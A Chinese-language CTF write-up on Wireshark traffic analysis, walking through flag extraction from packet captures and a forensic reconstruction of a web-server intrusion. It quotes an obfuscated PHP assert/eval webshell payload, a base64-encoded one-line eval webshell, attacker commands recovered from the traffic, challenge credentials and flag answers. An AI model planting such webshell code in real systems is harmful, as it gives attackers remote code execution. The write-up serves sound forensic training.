总字符数: 24.33K

代码: 7.43K, 文本: 4.96K

预计阅读时间: 54 分钟

Wireshark基本使用

CTF

WireShark流量分析

小试牛刀

扫描流量检测

描述

入侵者通过ping工具对局域网内一主机进行存活性扫描,flag 为入侵所发送的16字节的数据包内容。

题解

根据提示重点分为两个:

  1. Ping命令的协议为ICMP
  2. 16字节

首先,筛选出协议为ICMP的流量包

浏览数据包,发现长度为16自己的数据

将数据进行十六进制转换可得flag

提取压缩包

描述

key为文本格式,你找得到吗?

题解

右键–>追踪流–>TCP流可看到更详细的信息

第一个包去请求了一个密钥相关的txt,响应包中告诉我们密钥为ZipYourMouth

接着看下一个流量包,发现他去下载了一个flag.zip的压缩包,也就是响应体是压缩包的数据我们只需要将响应体恢复成文件之后即可解压

选择对方给我方的响应对话,并且选择原始数据

然后点击另存为,文件名为flag.zip请求包里是什么名字我们就暂定为什么名字

发现压缩包无效,这是因为我们在保存的时候也把响应头等信息也给保存进去了,我们使用010Editor等工具.将多余的信息删掉即可

将其删掉,再次尝试打开.

发现非压缩包.然后我们使用WinRAR尝试修复

打开修复后的压缩包发现显示密码错误,并且压缩包内的文件也不正常

这个时候我们可以直接将pcap包复制一份改名为.zip然后使用WinRAR修复即可

文件名也正确,输入密码得到Flag

关键字符提取

描述

请找到流量包中的flag,格式为:nctf{}

题解

随便选中一个数据流,按Ctrl+F,选择分组详情,搜索字符串:nctf可得flag

特殊字符提取

描述

请找到密码,组合为flag,格式为:flag{密码}

全是TCP协议,直接右键追踪TCP

上来就发现了密码~好简单啊,并且就这一个包,然后提交flag发现不对.看特征是Linux输入密码.那有没有可能中间有密码输错了,然后Delete键的流量也被记录了.

选择HEX 转储

然后对照十六进制的Ascii码表,发现72对应的值确实是r也就是说这些确实是ascii

找到7fdelete,0D为回车.在r后面按了三下delete,8后面一下,e后面一下回车也就是:backdoorm8te

文件提取

ISG.pcap

直接追踪TCP流,发现是一堆Webshell流量,看不懂没关系,我们直接找文件即可,在流三中发现了x.tar.gz

那我们按照上面的方法,提取出压缩包,我们发现在响应体中最前面和最后面有->| |<-那我们可以猜测这类似是一种包裹方式,而且也不属于压缩包的头信息,我们使用010Editor工具给他删掉

最后就这样

打开压缩包可得flag

final.pcap

打开后可发现ftp协议,直接追踪该流,流1可发现账号密码,保存一下

流2可以发现很明显的Rar头信息,提取出来

发现需要密码,拿流1中的密码去尝试,也解不开

接着往下看流,在流4中发现了PNG

提取出来,删除多余的数据,然后发现图片打不开,接着往下看流,流5中发现Base64编码的内容

发现普通Base64无法解码,试一下解码为中文

解压出来后使用记事本打开66666666666文件发现是一堆乱码,那就用010Editor.exe打开看看

发现了IHDR很熟悉,上面看到过.发现是个PNG图片但是缺少了头信息,那我们随便找一个正常的PNG图片的数据复制过来

复制第一行即可,替换掉

得到flag

导出对象

流量中的线索.pcapng

选择文件—>导出对象—>HTTP

打开发现是一堆Base64数据

使用Base64解码或前方加上data:image/jpg;Base64,

Misc-我抓到你了

打开1.php

1
2
3
4
5
6
7
a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9Ii92YXIvd3d3L2ZsYWcuemlwIjskZnA9QGZvcGVuKCRGLCdyJyk7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oJ0VSUk9SOi8vIENhbiBOb3QgUmVhZCcpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));

# 解析
"ass"."ert" # assert
"ev"."AL" # eval
$xx%3D # $xx=
"Ba"."SE6"."4_dEc"."OdE" # Base64_decode

也就是Base64解码,那我们也解码一下

可以发现了flag.zip那我们将响应体保存为zip,并删除多余数据

fly.pcapng

导出HTTP对象,发现是邮箱的数据传输

右键追踪流,往前翻看看是传输的什么文件{"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba86749","sha3":""}

按照序号将五个数据包的大小记录下来,分别为1314361314361314361314361777一共是527521Byte,但是上面的大小为525701也就是说每个数据包前面都有固定大小的标识.(527521-525701)/5=364.

去掉每个数据包364 byte的其他头部信息,然后再将5个文件合并成rar压缩文件

找到数据传输包,选中data的部分右键,导出分组字节流即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/bin]
└─$ dd if=1.bin bs=1 skip=364 of=1.1
输入了 131072+0 块记录
输出了 131072+0 块记录
131072 字节 (131 kB, 128 KiB) 已复制,0.176974 s,741 kB/s
┌──(kali㉿kali)-[~/bin]
└─$ dd if=2.bin bs=1 skip=364 of=2.1
输入了 131072+0 块记录
输出了 131072+0 块记录
131072 字节 (131 kB, 128 KiB) 已复制,0.189166 s,693 kB/s
┌──(kali㉿kali)-[~/bin]
└─$ dd if=3.bin bs=1 skip=364 of=3.1
输入了 131072+0 块记录
输出了 131072+0 块记录
131072 字节 (131 kB, 128 KiB) 已复制,0.173329 s,756 kB/s
┌──(kali㉿kali)-[~/bin]
└─$ dd if=4.bin bs=1 skip=364 of=4.1
输入了 131072+0 块记录
输出了 131072+0 块记录
131072 字节 (131 kB, 128 KiB) 已复制,0.182208 s,719 kB/s
┌──(kali㉿kali)-[~/bin]
└─$ dd if=5.bin bs=1 skip=364 of=5.1
输入了 1413+0 块记录
输出了 1413+0 块记录
1413 字节 (1.4 kB, 1.4 KiB) 已复制,0.00178347 s,792 kB/s
┌──(kali㉿kali)-[~/bin]
└─$ ls
1.1 1.bin 2.1 2.bin 3.1 3.bin 4.1 4.bin 5.1 5.bin
┌──(kali㉿kali)-[~/bin]
└─$ cat *.1 > flay.rar
┌──(kali㉿kali)-[~/bin]
└─$ md5sum flay.rar
e023afa4f6579db5becda8fe7861c2d3 flay.rar
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/bin]
└─$ unrar x flay.rar

UNRAR 7.00 beta 4 freeware Copyright (c) 1993-2024 Alexander Roshal

flag.txt - the file header is corrupt

Extracting from flay.rar

flag.txt - the file header is corrupt
Enter password (will not be echoed) for flag.txt:

可能是个伪加密,搜索rar伪加密改文件头信息解开

84替换为80

打开后发现是一堆乱码

使用binwalk分析

发现一堆图片使用foremost -T flag.txt 进行分离

扫码可得flag

Flag

  1. flag{!"#$%&'()*+,-./0}
  2. flag{qscet5234diQ}
  3. nctf{wireshark_is_easy}
  4. psw flag{backdoorm8te}
  5. ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}
  6. flag{FI@G_1$_h#Re_SeC()Ri7Y}
  7. flag{209acebf6324a09671abc31c869de72c}
  8. flag{a264c8ce70dfbc08dcfb9d552e15411a}
  9. flag{m1Sc_oxO2_Fly}

流量分析

  1. 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器 awvs
  2. 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可) /admin/login.php?rec=login.php
  3. 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password) admin/admin!@#pass123
  4. 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码 a.php PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==
  5. 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么 flag:87b7cb79481f317bde90c116cf36084b
  6. 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少 web/e667jUPvJjXHvEUv
  7. 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip eth1 10.3.3.100
  8. 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么 d1c029893df40cb0f47bcf8f1c3c17ac
  9. 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么 edc123!@#
  10. 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password) admin/admin!@#PASS123
  11. 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少 10.3.4.3

webone.pcap

识别扫描器

协议分级中查看到http协议100%,那就直接查看http协议

一般扫描器的指纹会出现在Conten-typeUser-Agent当中,所以将此两个字段应用为列

大概看一下,将无危胁的过滤掉http && (http.request.method=="GET" || http.request.method=="POST") && http.content_type != "application/x-www-form-urlencoded"即可发现awvs扫描器的指纹

登陆后台

直接定位状态码为301或者302的,登陆成功后会跳转嘛然后可以翻到admin字样的数据包

http.response.code==301 || http.response.code==302 && http.response_for.uri matches "admin"

得到结果:http://192.168.32.189/admin/login.php?rec=login.php

账号密码

基本查询没什么好讲的,把长度排序,最特别的那个就很有可能是登录成功的,我们使用Burp爆破的时候也是看长度最特别的那个

http.request.method=="POST" && http.request.uri.query=="rec=login"&& ip.src==192.168.94.59

WebShell

木马一般请求方式为POST,所以指定请求方式为POST.并且将暴力破解相关的流量筛选掉

1
2
http && ip.src == 192.168.94.59 && http.request.method == "POST" && http.content_type!="acunetix/wvs" &&!(http.request.full_uri contains "admin/login.php?rec=login")
&& !(http.request.full_uri contains "/admin/login.php?rec")&& !(http.request.full_uri contains "css")&& !(http.request.full_uri contains "js")

然后就可以发现比较异常的文件:a.php

然后我们发现了密码是1234,并且是在请求体里的则根据此条件找出木马内容.使用http contains "$_POST[1234]" 发现搜不到,那么尝试一下tcp,tcp contains "$_POST[1234]"

分析WebShell行为

定位WebShell相关的所有流量http.request.uri=="/images/article/a.php" || http.response_for.uri matches "/images/article/a.php"

选择导出特定分组打开导出的文件进行追流分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# 下载了 /var/www/html/images/article/20180807wwmhxi.png
# ls /var/www/html/images/
article/ 2018-08-08 08:12:49 4096 0777
../ 2018-08-07 11:36:55 4096 0777
./ 2016-11-25 21:18:27 4096 0777
product/ 2018-07-04 09:12:01 4096 0777
upload/ 2016-11-25 21:18:27 4096 0777

# ls /var/
# cd&获取了当前路径
/var/www/html/images/article
# ls /var/www/html/images/article
../ 2016-11-25 21:18:27 4096 0777
./ 2018-08-08 08:12:49 4096 0777
a.php 2018-08-08 08:12:49 28 0644
a.png 2018-08-07 12:07:23 6322 0644
20180807wwmhxi.png 2018-08-07 12:32:39 140235 0644
1533559002.png 2018-08-07 12:07:13 6322 0644
# ls /var/www/html/
# cat /var/www/html/flag.flag
9f08594fc1dcd0059936196bf2d090b7
# cat /var/www/html/robots.txt
User-agent: *
Disallow: /admin/
Disallow: /cache/
Disallow: /data/
Disallow: /include/
Disallow: /install/
Disallow: /languages/
Disallow: /m/include/
Disallow: /m/theme/
Disallow: /theme/
Disallow: /upgrade/
Disallow: /captcha.php
flag:87b7cb79481f317bde90c116cf36084b

# cat /var/www/html/product_category.php
# cat /var/www/html/index.php
# ls /var/www/html/include/
# cat /var/www/html/include/init.php
# ls /var/www/html/data/
slide/ 2018-08-08 01:56:24 4096 0777
../ 2018-08-07 11:36:55 4096 0777
./ 2018-07-04 08:58:45 4096 0777
backup/ 2018-08-08 06:50:51 4096 0777
.config.php.swp 2018-07-04 08:03:48 12288 0777
config.php 2016-11-26 14:04:56 1086 0777
index.html 2016-11-26 14:04:56 1 0777
system.dou 2016-11-26 14:04:56 68 0777

# 数据库操作:show tables from web
# select * from dou_show
# select * from dou_product_category
# select * from dou_article_category
# cd "/var/www/html/images/article/";ls;echo [S];pwd;echo [E]
# cd "/var/www/html/images/article/";ifconfig;echo [S];pwd;echo [E]
eth0 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fecb:9f85/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1599038 errors:0 dropped:0 overruns:0 frame:0
TX packets:2032856 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:476426339 (454.3 MiB) TX bytes:1041835470 (993.5 MiB)

eth1 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:8F
inet addr:10.3.3.100 Bcast:10.3.3.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fecb:9f8f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1174416 errors:0 dropped:0 overruns:0 frame:0
TX packets:1032202 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:832835972 (794.2 MiB) TX bytes:102428452 (97.6 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:2066 errors:0 dropped:0 overruns:0 frame:0
TX packets:2066 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:215082 (210.0 KiB) TX bytes:215082 (210.0 KiB)

robots.txt

上面在分析的时候其实也查到了····http.request.full_uri matches "robots.txt"

数据库密码

查询常见数据库端口tcp.dstport==3306

选择文件–>导出特定分组,先将mysql的导出来

然后打开mysql的流量看一下,并没有什么信息,这个是个Web网站,那账号密码有没有可能在配置文件里面,然后被黑客访问了呢~~~

那么涉及到配置文件必然会涉及到数据库名、用户名、密码,例如: http contains "database" and http contains "user" and http contains "name"或者 http contains "database" || http contains "user" || http contains "name"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// database host
$dbhost = "10.3.3.101";
// database name
$dbname = "web";
// database username
$dbuser = "web";
// database password
$dbpass = "e667jUPvJjXHvEUv";
// table prefix
$prefix = "dou_";
// charset
define('DOU_CHARSET','utf-8');
// administrator path
define('ADMIN_PATH','admin');
// mobile path
define('M_PATH','m');

网卡信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
eth0      Link encap:Ethernet  HWaddr 00:0C:29:CB:9F:85  
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fecb:9f85/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1599038 errors:0 dropped:0 overruns:0 frame:0
TX packets:2032856 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:476426339 (454.3 MiB) TX bytes:1041835470 (993.5 MiB)

eth1 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:8F
inet addr:10.3.3.100 Bcast:10.3.3.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fecb:9f8f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1174416 errors:0 dropped:0 overruns:0 frame:0
TX packets:1032202 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:832835972 (794.2 MiB) TX bytes:102428452 (97.6 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:2066 errors:0 dropped:0 overruns:0 frame:0
TX packets:2066 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:215082 (210.0 KiB) TX bytes:215082 (210.0 KiB)

webtwo.pcap

hash_code

发现只有MySQL协议,随便打开一个包看看格式和有哪些内容

我们可以按照这个格式查一下mysql.query matches "hash_code"

右键追踪TCP

ijnu密码

mysql contains "ijnu@test.com"

mail*.pcap

协议分级,看看自己要关注那些协议和字段

映入眼帘的就是一个敏感路径

根据敏感路径进行过滤http.request.full_uri matches "action=login" ||http.response_for.uri matches "action=login" 分析请求及响应信息

发现一个success:true,右键追踪流,确实是登录成功了,但是没有请求体,估计是Cookie登录的.放弃QAQ不过又多了个筛选条件

http.request.full_uri matches "action=login" || (http.response_for.uri matches "action=login" && data-text-lines matches "{\"success\":true}")

value应用为列,排查一下,最终会发现只是都满足了resquest包含了action=login而已,打开另一个数据包进行排查

可以发现爆破了admin的密码

追踪流,看着密码像base64编码,但是解不出来

那就在当前流找找,看看有没有加密函数,最后发现了加密函数,但是可惜的是损坏了,函数不完整,根据这个密钥去搜搜还有没有其他流量包

可以得到以下信息:

  • hash: md5(1234567812345678):d959caadac9b13dcb3e609440135cf54
  • iv(偏移量):1234567812345678
  • 模式:cbc
  • 字符集:utf8

vpn*.pcap

PPTP原理

  • PPTP客户机使用动态分配的TCP端口号,与PPTP服务器使用的保留TCP端口号123建立控制连接(PPTP控制连接携带PPTP呼叫控制盒管理信息,用于维护PPTP隧道)。
  • 客户端与服务器通过控制连接来创建、维护、终止一条隧道。
  • PPP帧的有效载荷经过加密、压缩或是两者的混合处理。
  • 使用通用路由封装GRE对PPP帧进行封装。
  • 将PPP帧封装进IP数据报文中。通过IP网络如Internet或其他企业准用INTRANET灯发送给PPTP服务器。
  • 服务器接收到PPTP数据包后进行常规处理。

我们打开vpnone.pcap,发现vpnone.pcap应该只是在尝试登陆VPN.

查看vpntwo.pcap,在统计——>IPV4中发现

0.3.4.96 、10.3.4.55 、10.3.4.3出现的次数.最多接着查看一下协议分级

有smb服务,看看smb服务器的ip是哪个排除一下,可以看到原端口是445也就是smb的服务端口,那么服务器IP则为10.3.4.96

排除一些无用选项!smp && ip.src != 10.3.4.96,发现了ping

可以看到10.3.4.3一直在主动ping 10.3.4.55可以确定10.3.4.3为黑客IP

WebShell.pcap

将http导出为php,然后去分析包

导出后逐渐分析每个文件,会在config(25).php中发现敏感操作,类似于压缩文件包的操作

继续往下分析包,找他有没有下载嘛,发现config(31).php文件最大嘛,改后缀名,改成.rar,打开后发现有密码,再返回去看他是怎么压缩的包嘛,看看他有没有设置密码

响应包是config(25).php,那么请求包盲猜24呗,打开后发现是url编码了,解码看一下

发现他做了base64_encode嘛,那我们将每一个值都解码一下呗,发现z2解码后是命令

1
cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

查找帮助文档,发现-hp是设置密码,那么JJBoom就是密码呗

解压出来之后发现,是个gif图,但是打不开

拖进010查看一下发现文件头是mdmp

将后缀名改为mdmp,不知道mdmp是啥,Google一下

进去搜一下mdmp

那就跟着教程走嘛,发现分析出来的是某一台机器的账号密码